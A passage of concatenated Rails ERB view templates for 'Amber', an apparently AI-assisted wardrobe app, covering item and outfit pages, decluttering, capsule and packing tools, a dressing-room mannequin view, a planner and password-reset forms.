<div class="capsule-row capsule-row--<%= item["decision"] %>">
<span class="capsule-decision"><%= item["decision"].to_s.humanize %></span>
<strong><%= item["title"] %></strong>
<span class="dim"><%= item["reason"] %></span>
</div>
<% end %>
</div>
<% if @result["gap_items"]&.any? %>
<section>
<h2>Gap items to consider</h2>
<p class="dim">Use these as intentional purchases, not impulse buys.</p>
<ul><% @result["gap_items"].each do |gap_item| %><li><%= gap_item %></li><% end %></ul>
</section>
<% end %>
<% else %>
<div class="empty"><p>Add more items to your wardrobe first.</p></div>
<% end %><% content_for :title, "Colour Palette" %>
<h1>Wardrobe Colour Palette</h1>
<% if @result["palette"] %>
<div class="ai-card">
<p><strong>Palette:</strong> <%= @result["palette"] %></p>
<% if @result["season_type"].present? %><p><strong>Seasonal type:</strong> <%= @result["season_type"] %></p><% end %>
</div>
<% if @result["clashing"]&.any? %>
<h2>Clashing items</h2>
<ul><% @result["clashing"].each do |i| %><li><%= i %></li><% end %></ul>
<% end %>
<% if @result["suggestions"]&.any? %>
<h2>Suggestions</h2>
<ul><% @result["suggestions"].each do |s| %><li><%= s %></li><% end %></ul>
<% end %>
<% else %>
<p class="dim">Not enough items to analyse.</p>
<% end %>
<p><%= link_to "← Dashboard", root_path %></p><% content_for :title, "Declutter guide" %>
<h1>Declutter guide</h1>
<p><%= link_to "Declutter dashboard", declutter_index_path, class: "btn" %></p>
<% if @candidates.any? %>
<p class="dim">Items to consider letting go:</p>
<div class="item-grid"><%= render @candidates %></div>
<% else %>
<p>No declutter candidates — your wardrobe is in great shape.</p>
<% end %>
<p><%= link_to "Back", items_path %></p><% content_for :title, "Mood Board Match" %>
<h1>Mood board match</h1>
<%= form_with url: ai_mood_board_path, method: :get do |f| %>
<div class="field">
<%= f.label :description, "Describe the aesthetic or paste a style reference" %>
<%= f.text_area :description, value: @description, rows: 3, class: "input input--wide" %>
</div>
<div class="actions"><%= f.submit "Match from wardrobe", class: "btn" %></div>
<% end %>
<% if @outfit_name.present? %>
<div class="ai-card">
<h2><%= @outfit_name %></h2>
<p><%= @reasoning %></p>
</div>
<div class="item-grid"><%= render @items %></div>
<% end %><% content_for :title, "Occasion Coverage" %>
<h1>Occasion coverage map</h1>
<div class="occasion-grid">
<% @coverage.each do |occasion, items| %>
<div class="occasion-card occasion-card--<%= items.size < 2 ? 'sparse' : 'covered' %>">
<h3><%= occasion.capitalize %></h3>
<span class="occasion-count"><%= items.size %> items</span>
<% if items.size < 2 %>
<p class="dim occasion-warn">Gap — consider adding pieces</p>
<% end %>
<% items.first(3).each do |item| %>
<div class="dim"><%= link_to item.title, item %></div>
<% end %>
</div>
<% end %>
</div>
<p><%= link_to "← Dashboard", root_path %></p><% content_for :title, "Packing list generator" %>
<h1>Packing list generator</h1>
<p class="dim">Select trip duration and climate. MASTER suggests outfits from your wardrobe.</p>
<%= form_with url: ai_packing_list_path, method: :get, class: "form" do |f| %>
<div class="field">
<label>Duration (days)</label>
<%= f.select :duration, (1..14).map { |d| [d, d] }, { selected: params[:duration] } %>
</div>
<div class="field">
<label>Climate</label>
<%= f.select :climate, ["hot", "cold", "mild", "rainy", "dry"], { selected: params[:climate] } %>
</div>
<div class="actions"><%= f.submit "Generate with MASTER", class: "btn btn--primary" %></div>
<% end %>
<% if @result %>
<h2>Suggested outfits for <%= @duration %>d <%= @climate %></h2>
<% if @result["outfits"] %>
<ul>
<% @result["outfits"].each do |o| %>
<li>
<strong><%= o["name"] %></strong>
<ul><% Array(o["items"]).each do |it| %><li><%= it %></li><% end %></ul>
</li>
<% end %>
</ul>
<% end %>
<% if @result["tips"] %><p class="dim"><%= @result["tips"] %></p><% end %>
<p>Packing list created (demo). View in planned or wardrobe.</p>
<% end %>
<%= link_to "Back to AI", ai_suggest_outfits_path %><% content_for :title, "Search Wardrobe" %>
<h1>Search your wardrobe</h1>
<%= form_with url: ai_search_path, method: :get do |f| %>
<div class="field-row">
<%= f.search_field :q, value: @query, placeholder: "e.g. something warm but not bulky for a meeting", autofocus: true, class: "input input--wide" %>
<%= f.submit "Search", class: "btn" %>
</div>
<% end %>
<% if @explanation.present? %>
<p class="dim"><%= @explanation %></p>
<% end %>
<% if @items&.any? %>
<div class="item-grid"><%= render @items %></div>
<% elsif @query.present? %>
<p class="dim">No matches found.</p>
<% end %><% content_for :title, "Style profile" %>
<h1>Style profile — 5 questions</h1>
<p class="dim">MASTER will infer your aesthetic: minimal, bold or classic.</p>
<%= form_with url: ai_style_profile_path, method: :post, class: "form" do |f| %>
<div class="field">
<label>1. Body type</label>
<%= f.select :answers, { "Body type" => ["slim", "athletic", "curvy", "plus"] }, {}, { name: "answers[body_type]" } %>
</div>
<div class="field">
<label>2. Lines vs patterns</label>
<%= f.select :answers, { "Preference" => ["minimal clean lines", "bold patterns and colors"] }, {}, { name: "answers[lines]" } %>
</div>
<div class="field">
<label>3. Timeless or trendy</label>
<%= f.select :answers, { "Style" => ["classic timeless pieces", "trendy current styles"] }, {}, { name: "answers[timeless]" } %>
</div>
<div class="field">
<label>4. Colors</label>
<%= f.select :answers, { "Palette" => ["neutrals and basics", "vibrant pops of color"] }, {}, { name: "answers[colors]" } %>
</div>
<div class="field">
<label>5. Fit</label>
<%= f.select :answers, { "Fit" => ["tailored structured fits", "loose comfortable layers"] }, {}, { name: "answers[fit]" } %>
</div>
<div class="actions"><%= f.submit "Infer with MASTER", class: "btn btn--primary" %></div>
<% end %>
<%= link_to "Back to AI tools", ai_suggest_outfits_path %><% content_for :title, t("amber.outfits.suggest_title", default: "Outfit suggestions (MASTER vision)") %>
<h1><%= t("amber.outfits.suggest_title", default: "Outfit suggestions (MASTER vision)") %></h1>
<p class="dim"><%= t("amber.outfits.vision_hint", default: "MASTER vision analyses your item photos + metadata to pick 3-item combinations.") %></p>
<%= form_with url: ai_suggest_outfits_path, method: :get, class: "form" do |f| %>
<div class="field">
<label><%= t("amber.outfits.occasion", default: "Occasion") %></label>
<%= f.text_field :occasion, value: params[:occasion], placeholder: t("amber.outfits.occasion_ph", default: "e.g. date, work, travel") %>
</div>
<div class="field">
<label><%= t("amber.outfits.season", default: "Season") %></label>
<%= f.select :season, Item::SEASONS, { selected: params[:season] }, { include_blank: t("amber.outfits.any", default: "Any") } %>
</div>
<div class="actions">
<%= f.submit t("amber.outfits.generate_vision", default: "Generate with MASTER vision"), class: "btn btn--primary" %>
<%= button_to t("amber.outfits.save_first", default: "Generate & save first as outfit"), ai_generate_outfit_path, method: :post, params: { occasion: params[:occasion], season: params[:season] }, class: "btn", form_class: "inline" %>
</div>
<% end %>
<% if @suggestions.present? %>
<% @suggestions.each_with_index do |s, i| %>
<article class="ai-card">
<h2><%= s["name"] || t("amber.outfits.option", default: "Option") + " #{i + 1}" %></h2>
<p class="dim"><%= Array(s["items"]).join(", ") %></p>
<p><%= s["description"] %></p>
<% if s["outfit_id"] %>
<p><%= link_to t("amber.outfits.view_generated", default: "View generated Outfit with visual"), outfit_path(s["outfit_id"]), class: "btn" %></p>
<% end %>
</article>
<% end %>
<% else %>
<p class="dim"><%= t("amber.outfits.empty_hint", default: "Submit the form to see vision-suggested outfits from your wardrobe photos.") %></p>
<% end %>
<p><%= link_to t("amber.outfits.back_wardrobe", default: "Back to wardrobe"), items_path %></p><main>
<header>
<h1>Declutter</h1>
<p>Review low-use, duplicate, and decision-ready wardrobe items.</p>
</header>
<% if @summary.present? %>
<section>
<h2>Summary</h2>
<dl>
<% @summary.each do |key, value| %>
<dt><%= key.to_s.humanize %></dt>
<dd><%= value %></dd>
<% end %>
</dl>
</section>
<% end %>
<section>
<h2>Duplicate groups</h2>
<% if @duplicates.present? %>
<% @duplicates.each do |group| %>
<article>
<% items = group.respond_to?(:items) ? group.items : Array(group[:items] || group["items"] || group) %>
<h3><%= pluralize(items.size, "item") %></h3>
<div class="items-grid">
<% items.each do |item| %>
<%= render "items/item", item: item %>
<%= link_to "Review", review_declutter_path(item), class: "btn-sm" %>
<% end %>
</div>
</article>
<% end %>
<% else %>
<p>No duplicate groups need review.</p>
<% end %>
</section>
</main><main>
<header>
<h1>Declutter review</h1>
<p><%= @item.title %></p>
</header>
<section>
<%= render "items/item", item: @item %>
</section>
<% if @score.present? %>
<section>
<h2>Score</h2>
<p><%= @score %></p>
</section>
<% end %>
<% if @action.present? %>
<section>
<h2>Recommended action</h2>
<p><%= @action[:recommendation] || @action["recommendation"] || @action %></p>
</section>
<% end %>
<section>
<h2>Decision</h2>
<%= form_with model: @review, url: update_review_declutter_path(@item), method: :patch do |form| %>
<div>
<%= form.label :decision %>
<%= form.select :decision, %w[keep wear_this_week repair sell donate release], include_blank: true %>
</div>
<div>
<%= form.label :reason_kept %>
<%= form.text_field :reason_kept %>
</div>
<div>
<%= form.label :notes %>
<%= form.text_area :notes, rows: 4 %>
</div>
<%= form.submit "Save review" %>
<% end %>
</section>
<section>
<h2>Move item</h2>
<nav>
<% %w[keep wear_this_week repair sell donate release].each do |target| %>
<%= button_to target.humanize, move_declutter_path(@item, target: target), method: :patch, class: "btn-sm" %>
<% end %>
</nav>
</section>
<section>
<h2>Wear-it-this-week challenge</h2>
<%= form_with url: challenge_declutter_path(@item), method: :post do |form| %>
<div>
<%= form.label :due_on %>
<%= form.date_field :due_on %>
</div>
<div>
<%= form.label :note %>
<%= form.text_field :note %>
</div>
<%= form.submit "Create challenge" %>
<% end %>
</section>
<% if @last_chance.present? %>
<section>
<h2>Last chance outfits</h2>
<ul>
<% @last_chance.each do |suggestion| %>
<li><%= suggestion.respond_to?(:title) ? suggestion.title : suggestion %></li>
<% end %>
</ul>
</section>
<% end %>
</main><% content_for :title, "Dashboard" %>
<% if authenticated? %>
<% if @weather %>
<div class="weather-bar">
<%= @weather[:description] %> · <%= @weather[:temp] %>°C
<% if @weather[:temp] < 10 %>· Wear layers<% elsif @weather[:temp] > 20 %>· Light fabrics<% end %>
</div>
<% end %>
<header class="dash-stats">
<dl>
<div><dt>Items</dt><dd><%= @items_count %></dd></div>
<div><dt>Spark joy</dt><dd><%= @joy_count %></dd></div>
<div><dt>Never worn</dt><dd><%= @never_worn_count %></dd></div>
<div><dt>Utilisation</dt><dd class="<%= @utilization_rate < 20 ? 'stat-warn' : '' %>"><%= @utilization_rate %>%</dd></div>
</dl>
<nav>
<%= link_to "Add item", new_item_path, class: "btn" %>
<%= link_to "Search wardrobe", ai_search_path, class: "btn" %>
<%= link_to "Capsule plan", ai_capsule_path, class: "btn" %>
</nav>
</header>
<% if @planned_this_week.any? %>
<section>
<h2>This week</h2>
<div class="plan-list">
<% @planned_this_week.each do |plan| %>
<div class="plan-row">
<span class="plan-date"><%= plan.planned_date.strftime("%a %-d") %></span>
<%= link_to plan.outfit.name, plan.outfit %>
<%= button_to "✕", planned_outfit_path(plan), method: :delete, class: "btn-link" %>
</div>
<% end %>
</div>
</section>
<% end %>
<% if @worst_cpw.any? %>
<section>
<h2>Worst cost-per-wear</h2>
<div class="cpw-list">
<% @worst_cpw.each do |item| %>
<div class="cpw-row">
<%= link_to item.title, item %>
<span class="cpw-val">£<%= item.cost_per_wear %>/wear · worn <%= item.times_worn %>×</span>
</div>
<% end %>
</div>
</section>
<% end %>
<% if @aging_unworn.any? %>
<section>
<h2>Aging unworn</h2>
<div class="item-grid"><%= render @aging_unworn %></div>
</section>
<% end %>
<% if @recent_items.any? %>
<h2>Recent</h2>
<div class="item-grid"><%= render @recent_items %></div>
<p><%= link_to "All items →", items_path %></p>
<% else %>
<p><%= link_to "Add your first item", new_item_path %></p>
<% end %>
<% else %>
<p>Welcome to Amber. <%= link_to "Sign in", new_session_path %> to manage your wardrobe.</p>
<% end %><%= form_with model: item, class: "form" do |f| %>
<%= render "shared/errors", object: item %>
<div class="field"><%= f.label :title %><%= f.text_field :title, autofocus: true %></div>
<div class="field">
<%= f.label :category %>
<%= f.select :category, Item::CATEGORIES, include_blank: "Select…" %>
</div>
<div class="field"><%= f.label :color %><%= f.text_field :color %></div>
<div class="field"><%= f.label :size %><%= f.text_field :size %></div>
<div class="field"><%= f.label :material %><%= f.text_field :material %></div>
<div class="field"><%= f.label :brand %><%= f.text_field :brand %></div>
<div class="field"><%= f.label :price %><%= f.number_field :price, step: "0.01", min: 0 %></div>
<div class="field"><%= f.label :purchase_date %><%= f.date_field :purchase_date %></div>
<div class="field">
<%= f.label :season %>
<%= f.select :season, Item::SEASONS, include_blank: "Select…" %>
</div>
<div class="field">
<%= f.label :occasion_tags, "Occasions (comma-separated)" %>
<%= f.text_field :occasion_tags, placeholder: "work, casual, formal" %>
</div>
<div class="field">
<%= f.label :mood_effect, "Mood effect" %>
<%= f.select :mood_effect, Item::MOOD_EFFECTS, include_blank: "Not set" %>
</div>
<div class="field">
<%= f.label :life_phase, "Life phase" %>
<%= f.select :life_phase, Item::LIFE_PHASES, include_blank: "Not set" %>
</div>
<div class="field"><%= f.label :photos %><%= f.file_field :photos, multiple: true, accept: "image/*" %></div>
<div class="actions"><%= f.submit class: "btn" %> <%= link_to "Cancel", items_path %></div>
<% end %><article class="item-card" id="<%= dom_id(item) %>" data-category="<%= item.category %>">
<% if item.photos.attached? %>
<%= image_tag item.photos.first.variant(resize_to_fill: [300, 300]), class: "item-photo" %>
<% end %>
<%= link_to item.title, item, class: "item-title" %>
<span class="dim"><%= item.category %><%= " · #{item.color}" if item.color.present? %></span>
<span class="dim">Worn <%= item.times_worn.to_i %>× · <%= item.value_label %></span>
<nav>
<%= button_to "Wear", wear_item_path(item), method: :post, class: "btn-sm" %>
<% unless item.spark_joy? %>
<%= button_to "Joy", spark_joy_item_path(item), method: :post, class: "btn-sm" %>
<% end %>
<%= link_to "Edit", edit_item_path(item), class: "btn-sm" %>
</nav>
</article><% content_for :title, "Edit" %>
<h1>Edit <%= @item.title %></h1>
<%= render "form", item: @item %><% content_for :title, "Wardrobe" %>
<%= turbo_stream_from "items" %>
<section data-controller="filter">
<header>
<div>
<p class="dim">Closet intelligence</p>
<h1>Wardrobe (<%= @pagy.count %>)</h1>
</div>
<nav>
<%= link_to "Add item", new_item_path, class: "btn" %>
<%= link_to "Plan outfit", new_outfit_path, class: "btn" %>
<%= link_to "Shopping list (gaps)", shopping_list_items_path, class: "btn" %>
<%= link_to "Style profile quiz", ai_style_profile_path, class: "btn" %>
<%= link_to "Packing list generator", ai_packing_list_path, class: "btn" %>
<%= link_to t("amber.nav.ai_suggest", default: "AI outfit suggestions (vision)"), ai_suggest_outfits_path, class: "btn" %>
<%= link_to "Declutter", declutter_index_path, class: "btn" %>
<%= button_to "Archive out-of-season", archive_seasonal_items_path, method: :post, class: "btn" %>
<%= button_to "Resurface seasonal", resurface_seasonal_items_path, method: :post, class: "btn" %>
</nav>
</header>
<div class="tag-row">
<span class="tag"><%= pluralize(@items.sum { |item| item.times_worn.to_i }, "wear") %> on this page</span>
<span class="tag"><%= @items.count(&:spark_joy?) %> joy keepers</span>
<span class="tag"><%= @items.map(&:category).compact.uniq.size %> categories</span>
</div>
<div class="field">
<label for="category-filter">Filter by category</label>
<select id="category-filter" data-action="change->filter#filter" data-filter-target="select">
<option value="">All</option>
<% Item::CATEGORIES.each do |category| %>
<option value="<%= category %>"><%= category %></option>
<% end %>
</select>
</div>
<div class="item-grid" id="items" data-filter-target="grid">
<%= render @items %>
</div>
<% if @items.empty? %>
<div class="empty">
<p>No wardrobe items yet. Add your first item to start recommendations, capsules, and decluttering.</p>
</div>
<% end %>
<%= pagy_nav(@pagy) if @pagy.pages > 1 %>
</section><% content_for :title, "Add item" %>
<h1>Add item</h1>
<%= render "form", item: @item %><% content_for :title, "Shopping list" %>
<h1>Shopping list — gaps to fill</h1>
<% if @gaps.any? %>
<ul>
<% @gaps.each do |gap| %>
<li>
<strong><%= gap[:category] || gap[:name] %></strong>
<p><%= gap[:reason] %></p>
<% if gap[:missing] %><span class="tag">missing <%= gap[:missing] %></span><% end %>
<% if gap[:owned] %><span class="tag">owned <%= gap[:owned] %> / <%= gap[:target] %></span><% end %>
</li>
<% end %>
</ul>
<% else %>
<p>No gaps detected. Your wardrobe looks complete for essentials!</p>
<% end %>
<h2>MASTER purchase recommendations</h2>
<% if @recommendations.any? %>
<ul>
<% @recommendations.each do |rec| %>
<li>
<%= rec.reason %>
<span class="tag">score <%= rec.score %></span>
</li>
<% end %>
</ul>
<% else %>
<p>No recommendations yet. Run the gap analysis or add more items.</p>
<% end %>
<%= link_to "Back to wardrobe", items_path, class: "btn" %><% content_for :title, @item.title %>
<article class="item-detail">
<% if @item.photos.attached? %>
<div class="item-photos">
<% @item.photos.each do |photo| %>
<%= image_tag photo.variant(resize_to_limit: [600, 600]) %>
<% end %>
</div>
<% end %>
<header>
<div>
<p class="dim"><%= @item.category %><%= " · #{@item.brand}" if @item.brand.present? %></p>
<h1><%= @item.title %></h1>
</div>
<% if @item.spark_joy? %><span class="badge">Sparks joy</span><% end %>
</header>
<div class="tag-row">
<span class="tag"><%= pluralize(@item.times_worn.to_i, "wear") %></span>
<% if @item.price? && @item.times_worn.to_i.positive? %>
<span class="tag"><%= number_to_currency(@item.price / @item.times_worn.to_i) %> per wear</span>
<% end %>
<% if @item.lifecycle_state.present? %><span class="tag"><%= @item.lifecycle_state.humanize %></span><% end %>
</div>
<dl class="meta">
<dt>Category</dt><dd><%= @item.category %></dd>
<% if @item.color.present? %><dt>Color</dt><dd><%= @item.color %></dd><% end %>
<% if @item.size.present? %><dt>Size</dt><dd><%= @item.size %></dd><% end %>
<% if @item.material.present? %><dt>Material</dt><dd><%= @item.material %></dd><% end %>
<% if @item.brand.present? %><dt>Brand</dt><dd><%= @item.brand %></dd><% end %>
<% if @item.price? %><dt>Price</dt><dd><%= number_to_currency(@item.price) %></dd><% end %>
<dt>Worn</dt><dd><%= @item.times_worn.to_i %> times</dd>
<% if @item.purchase_date? %><dt>Purchased</dt><dd><%= @item.purchase_date.strftime("%b %Y") %></dd><% end %>
</dl>
<% if @item.mood_effect.present? || @item.life_phase.present? %>
<div class="tag-row">
<% if @item.mood_effect.present? %><span class="tag">Mood: <%= @item.mood_effect %></span><% end %>
<% if @item.life_phase.present? %><span class="tag tag--phase"><%= @item.life_phase %></span><% end %>
</div>
<% end %>
<section>
<h2>Wardrobe intelligence</h2>
<p class="dim">Use AI analysis for tags, mood, capsule fit, and declutter decisions.</p>
<div id="item_<%= @item.id %>_analysis"></div>
<div id="item_<%= @item.id %>_tags"></div>
</section>
<nav>
<%= button_to "Worn today", wear_item_path(@item), method: :post, class: "btn" %>
<%= button_to "AI analyse", ai_analyze_item_path(@item), method: :post, class: "btn" %>
<%= button_to "AI tag mood", ai_tag_item_path(@item), method: :post, class: "btn" %>
<%= link_to "Declutter review", review_declutter_path(@item), class: "btn" %>
<%= link_to "Edit", edit_item_path(@item), class: "btn" %>
<%= button_to "Delete", @item, method: :delete, data: { turbo_confirm: "Remove this item?" }, class: "btn btn-danger" %>
</nav>
</article><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="theme-color" content="#1a1a1a">
<meta name="turbo-cache-control" content="no-preview">
<title><%= content_for?(:title) ? "#{yield :title} — Amber" : "Amber" %></title>
<meta name="description" content="<%= content_for?(:description) ? yield(:description) : "Amber — AI wardrobe management. Build capsule wardrobes, plan outfits, and discover your personal style." %>">
<link rel="canonical" href="<%= request.original_url.split("?").first %>">
<meta property="og:site_name" content="Amber">
<meta property="og:title" content="<%= content_for?(:title) ? yield(:title) : "Amber" %>">
<meta property="og:description" content="<%= content_for?(:description) ? yield(:description) : "AI wardrobe management. Build capsule wardrobes, plan outfits, and discover your personal style." %>">
<meta property="og:url" content="<%= request.original_url %>">
<meta property="og:type" content="website">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="<%= content_for?(:title) ? yield(:title) : "Amber" %>">
<meta name="twitter:description" content="<%= content_for?(:description) ? yield(:description) : "AI wardrobe management. Build capsule wardrobes, plan outfits, and discover your personal style." %>">
<%= csrf_meta_tags %>
<%= csp_meta_tag %>
<link rel="icon" href="/icon.png" type="image/png">
<link rel="apple-touch-icon" href="/icon.png">
<%= tag.link rel: "manifest", href: pwa_manifest_path(format: :json) %>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Caprasimo&display=swap" rel="stylesheet">
<%= stylesheet_link_tag "application", "data-turbo-track": "reload" %>
<%= yield :json_ld %>
<%= javascript_importmap_tags %>
<%= render "shared/minimal_ui" %>
</head>
<body class="zen-minimal">
<nav>
<%= link_to root_path, class: "brand", aria: { label: "Amber home" } do %>
<%= render "shared/logo" %>
<% end %>
<% if authenticated? %>
<%= link_to "Feed", feed_posts_path %>
<%= link_to "Post", new_post_path %>
<%= link_to "Wardrobe", items_path %>
<%= link_to "Outfits", outfits_path %>
<%= link_to "Style", dressing_room_outfits_path %>
<%= link_to "Planner", planned_outfits_path %>
<%= link_to "Search", ai_search_path %>
<%= link_to "Occasions", ai_occasions_path %>
<%= link_to "Sign out", session_path, data: { turbo_method: :delete } %>
<% else %>
<%= link_to "Sign in", new_session_path %>
<%= link_to "Sign up", new_registration_path %>
<% end %>
</nav>
<%= render "shared/flash" %>
<main><%= yield %></main>
</body>
</html><!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style>
/* Email styles need to be inline */
</style>
</head>
<body>
<%= yield %>
</body>
</html><%= yield %><%= form_with model: outfit, class: "form" do |f| %>
<%= render "shared/errors", object: outfit %>
<div class="field"><%= f.label :name %><%= f.text_field :name, autofocus: true %></div>
<div class="field"><%= f.label :description %><%= f.text_area :description, rows: 3 %></div>
<div class="field">
<%= f.label :category %>
<%= f.select :category, %w[Casual Formal Work Workout Evening], include_blank: "Select…" %>
</div>
<div class="field">
<%= f.label :season %>
<%= f.select :season, Item::SEASONS, include_blank: "Select…" %>
</div>
<div class="field"><%= f.label :occasion %><%= f.text_field :occasion %></div>
<div class="actions"><%= f.submit class: "btn" %> <%= link_to "Cancel", outfits_path %></div>
<% end %><article class="item-card" id="<%= dom_id(outfit) %>">
<% if outfit.image.attached? %>
<%= link_to outfit, class: "item-title" do %>
<%= image_tag outfit.image.variant(resize_to_limit: [200, 200]), style: "max-width:100%; height:auto;" %>
<% end %>
<% end %>
<%= link_to outfit.name, outfit, class: "item-title" %>
<span class="dim"><%= outfit.context_label.presence || "No context yet" %></span>
<span class="dim"><%= outfit.items.count %> items · <%= outfit.likes_count.to_i %> likes</span>
<span class="dim"><%= pluralize(outfit.total_wears, "combined wear") %></span>
</article><% content_for :title, "Style" %>
<%
zones_json = @zones.transform_values { |items|
items.map { |item|
{ id: item.id, name: item.title, color: item.color.to_s,
url: item.photos.attached? ? url_for(item.photos.first.variant(resize_to_limit: [480, 480])) : nil }
}
}.to_json
%>
<div class="dressing-room" data-controller="wardrobe-carousel" data-wardrobe-carousel-zones-value="<%= zones_json %>">
<div class="mannequin-stage">
<div class="mannequin">
<svg class="mannequin-svg" viewBox="0 0 160 390" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<ellipse cx="80" cy="34" rx="26" ry="30" fill="#2a2a2a"/>
<rect x="73" y="63" width="14" height="15" rx="2" fill="#2a2a2a"/>
<path d="M 25 78 Q 14 84 12 98 L 10 200 L 150 200 L 148 98 Q 146 84 135 78 L 108 70 Q 80 66 52 70 Z" fill="#2a2a2a"/>
<path d="M 10 200 L 6 240 Q 20 254 80 256 Q 140 254 154 240 L 150 200 Z" fill="#2a2a2a"/>
<path d="M 6 238 L 2 372 L 46 372 L 78 256 Q 20 254 6 238 Z" fill="#2a2a2a"/>
<path d="M 154 238 L 158 372 L 114 372 L 82 256 Q 140 254 154 238 Z" fill="#2a2a2a"/>
<path d="M 1 372 L 50 372 L 54 386 L 0 386 Z" fill="#1a1a1a"/>
<path d="M 110 372 L 159 372 L 160 386 L 106 386 Z" fill="#1a1a1a"/>
<ellipse cx="80" cy="34" rx="26" ry="30" fill="none" stroke="#444" stroke-width="0.5"/>
<path d="M 25 78 Q 14 84 12 98 L 10 200 L 150 200 L 148 98 Q 146 84 135 78 L 108 70 Q 80 66 52 70 Z" fill="none" stroke="#444" stroke-width="0.5"/>
</svg>
<div class="zone zone--head">
<img src="" alt="" loading="lazy">
</div>
<div class="zone zone--top">
<img src="" alt="" loading="lazy">
</div>
<div class="zone zone--bottom">
<img src="" alt="" loading="lazy">
</div>
<div class="zone zone--shoes">
<img src="" alt="" loading="lazy">
</div>
</div>
</div>
<div class="zone-carousels">
<% { head: "Accessories", top: "Tops", bottom: "Bottoms", shoes: "Shoes" }.each do |zone, label| %>
<div class="zone-row">
<span class="zone-tag"><%= label %></span>
<button class="carousel-btn" data-action="wardrobe-carousel#prev" data-wardrobe-carousel-zone-param="<%= zone %>" aria-label="Previous <%= label %>">‹</button>
<span class="zone-info">
<span data-zone-label="<%= zone %>">—</span>
<span class="zone-count" data-zone-count="<%= zone %>"></span>
</span>
<button class="carousel-btn" data-action="wardrobe-carousel#next" data-wardrobe-carousel-zone-param="<%= zone %>" aria-label="Next <%= label %>">›</button>
</div>
<% end %>
</div>
<div class="dressing-room-actions">
<%= link_to "Save as outfit", new_outfit_path, class: "btn" %>
</div>
</div><% content_for :title, "Edit outfit" %>
<h1>Edit <%= @outfit.name %></h1>
<%= render "form", outfit: @outfit %><% content_for :title, "Outfits" %>
<%= turbo_stream_from "outfits" %>
<header>
<div>
<p class="dim">Style combinations</p>
<h1>Outfits</h1>
</div>
<nav>
<%= link_to "New outfit", new_outfit_path, class: "btn" %>
<%= link_to "Dressing room", dressing_room_outfits_path, class: "btn" %>
<%= link_to t("amber.nav.ai_suggest", default: "AI outfit suggestions (vision)"), ai_suggest_outfits_path, class: "btn" %>
</nav>
</header>
<div class="tag-row">
<span class="tag"><%= pluralize(@outfits.sum { |outfit| outfit.items.count }, "linked item") %></span>
<span class="tag"><%= pluralize(@outfits.sum { |outfit| outfit.likes_count.to_i }, "like") %></span>
<span class="tag"><%= pluralize(@outfits.sum(&:total_wears), "combined wear") %></span>
</div>
<div class="item-grid" id="outfits"><%= render @outfits %></div>
<% if @outfits.empty? %>
<div class="empty"><p>No outfits yet. Start with a capsule, event, season, or mood.</p></div>
<% end %>
<%= pagy_nav(@pagy) if @pagy.pages > 1 %><% content_for :title, "New outfit" %>
<h1>New outfit</h1>
<%= render "form", outfit: @outfit %><% content_for :title, @outfit.name %>
<header>
<div>
<p class="dim"><%= @outfit.context_label.presence || "Outfit" %></p>
<h1><%= @outfit.name %></h1>
</div>
</header>
<div class="tag-row">
<span class="tag"><%= pluralize(@outfit.items.count, "item") %></span>
<span class="tag"><%= pluralize(@outfit.likes_count.to_i, "like") %></span>
<span class="tag"><%= pluralize(@outfit.total_wears, "combined wear") %></span>
<% if @outfit.estimated_value.positive? %><span class="tag"><%= number_to_currency(@outfit.estimated_value) %> wardrobe value</span><% end %>
</div>
<% if @outfit.description.present? %>
<p><%= @outfit.description %></p>
<% else %>
<p class="dim">Add a description to capture why this outfit works.</p>
<% end %>
<% if @outfit.image.attached? %>
<div class="outfit-visual">
<%= image_tag @outfit.image, style: "max-width: 400px; height: auto;" %>
</div>
<% end %>
<section>
<h2>Items</h2>
<div class="item-grid"><%= render @outfit.items %></div>
</section>
<section>
<h2>Style intelligence</h2>
<p class="dim">Use this outfit as a signal for future capsules, weather-aware recommendations, event styling, and declutter decisions.</p>
</section>
<nav>
<%= button_to "Like (#{@outfit.likes_count.to_i})", like_outfit_path(@outfit), method: :post, class: "btn" %>
<%= button_to "Share to brgen", share_outfit_path(@outfit), method: :post, class: "btn" %>
<%= button_to "Wear again", wear_outfit_path(@outfit), method: :post, class: "btn" %>
<%= link_to "Edit", edit_outfit_path(@outfit), class: "btn" %>
<%= link_to "All outfits", outfits_path, class: "btn" %>
<%= button_to "Delete", @outfit, method: :delete, data: { turbo_confirm: "Delete?" }, class: "btn btn-danger" %>
</nav><div class="auth-form">
<h1>New password</h1>
<%= form_with model: @user, url: password_path(params[:token]), method: :put do |f| %>
<div class="field">
<%= f.label :password, "New password" %>
<%= f.password_field :password, autocomplete: "new-password" %>
</div>
<div class="field">
<%= f.label :password_confirmation, "Confirm password" %>
<%= f.password_field :password_confirmation, autocomplete: "new-password" %>
</div>
<div class="actions">
<%= f.submit "Set password", class: "btn btn--primary" %>
</div>
<% end %>
</div><div class="auth-form">
<h1>Reset password</h1>
<%= form_with url: passwords_path do |f| %>
<div class="field">
<%= f.label :email_address, "Email" %>
<%= f.email_field :email_address, autofocus: true, autocomplete: "email" %>
</div>
<div class="actions">
<%= f.submit "Send reset link", class: "btn btn--primary" %>
</div>
<% end %>
</div><p>
You can reset your password on
<%= link_to "this password reset page", edit_password_url(@user.password_reset_token) %>.
This link will expire in <%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %>.
</p>You can reset your password on
<%= edit_password_url(@user.password_reset_token) %>
This link will expire in <%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %>.<% content_for :title, "Planner" %>
<%= turbo_stream_from "planned_outfits" %>
<h1>Outfit Planner</h1>
<%= form_with model: PlannedOutfit.new, url: planned_outfits_path do |f| %>
<div class="field-row">
<%= f.date_field :planned_date, min: Date.today, class: "input" %>
<%= f.select :outfit_id, @outfits.map { |o| [o.name, o.id] }, { include_blank: "Select outfit…" } %>
<%= f.text_field :notes, placeholder: "Notes…" %>
<%= f.submit "Plan it", class: "btn" %>
</div>
<% end %>
<div class="plan-list">
<% @planned.each do |plan| %>
<div class="plan-row">
<span class="plan-date"><%= plan.planned_date.strftime("%A %-d %b") %></span>
<%= link_to plan.outfit.name, plan.outfit %>
